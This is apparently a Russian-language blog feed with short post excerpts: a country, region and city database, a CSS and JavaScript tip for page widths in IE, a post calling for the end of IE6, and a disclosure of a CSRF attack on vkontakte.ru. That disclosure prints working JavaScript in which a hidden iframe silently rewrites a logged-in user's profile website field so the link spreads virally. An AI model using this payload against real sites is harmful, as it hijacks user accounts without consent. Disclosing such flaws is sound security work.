• Страны, регионы, города

      Карта мира
      Хочу поделиться базой стран, регионов и городов на русском языке. Возможно, кому-то пригодиться в своих проектах. В базе 106 стран, 922 региона и 10969 городов!

      Если кто не понял о чем речь, то вспомните, например, как на ВКонтакте указывается город: выбирается страна -> подгружается список регионов -> выбирается регион -> подгружается список городов

      Читать дальше →
    • CSRF на vkontakte.ru

        Обнаружил забавную атаку на сайт vkontakte.ru.
        При переходе на сайт tvoydohod.com, если вы в этот же момент авторизованы на вконтакте, отработает следующий джаваскрипт:
        <script>
        function doit() {
          var html;
          html = '<img src=http://vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=http://tvoydohod.com>';
          window.frames["frm"].document.body.innerHTML = html;
        }
        </script>
        <iframe name="frm" onload="doit()" width="0" height="0"></iframe>
        

        Как видно, будет запрошена картинка с адресом vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=http://tvoydohod.com, броузер сделает запрос по этому УРЛу, и на анкете в vkontakte ваше поле «Веб-сайт» станет равным tvoydohod.com.
        Затем в вашем профайле, ваш друг, который вам доверяет кликнет на этот линк, и изменит профайл себе… И т д.

        Этот вид атак называется Cross Site Request Forgery. В вики описаны все противоядия и куча полезной инфы.

        Сам по себе CSRF довольно скучен. Но в данном случае забавно то, что каждый заразившийся становится разносчиком CSRF-линка.

        Отписал в тех-поддержку, где столкнулся с «Это не баг!», «Не кликайте по подозрительным ссылкам!» и прочим. Надеюсь пользователей они ценят и поправят.
        А вам было интересно узнать о таком простом «вирусе», который живет целиком в соц-сети =)
      • Про резиновую верстку

          Навеяно этим.

          Для тех, кто, возможно, не знает как сделать так, чтоб всё было хорошо.
          Сайт должен тянуться только до определённой величины, и сужаться тоже только до некоторого значения. Я обычно беру 1500 и 980 пикселей соответственно.

          Как сделать? min-width и min-height.

          #site {
            margin: 0 auto; /*это чтоб центрировать контент при превышении max-width*/
            min-width: 980px;
            max-width: 1500px;
          }


          Но ведь IE их не поодерживает. А expression слишком нагружает браузер… Спокойно, други! Я выведу вас к свету из тьмы!
          Пишем далее.



          А в ie.js помещаем

          window.attachEvent('onload', mkwidth);
          window.attachEvent('onresize', mkwidth);

          var minwidth = document.getElementById("site").currentStyle['min-width'].replace('px', '');
          var maxwidth = document.getElementById("site").currentStyle['max-width'].replace('px', '');
          function mkwidth(){
              document.getElementById("site").style.width = document.documentElement.clientWidth < minwidth ? minwidth+"px" : (document.documentElement.clientWidth > maxwidth ? maxwidth+"px" : "100%");
          };


          В чём особенная вкусность приведённого метода? А в том, что минимальное и максимальное значение нужно задавать только в одном месте, ну и вообще.

          Пользуйтесь, короче, на здоровье!
        • Давайте убьем IE6

            Internet Explorer 6.0 был представлен публике 27 августа 2001 года. Ни для кого не секрет, что он содержит большое количество ошибок рендеринга, плохо поддерживает стандарты, плох с точки зрения безопасности и удобства.
            Читать дальше →
          Самое читаемое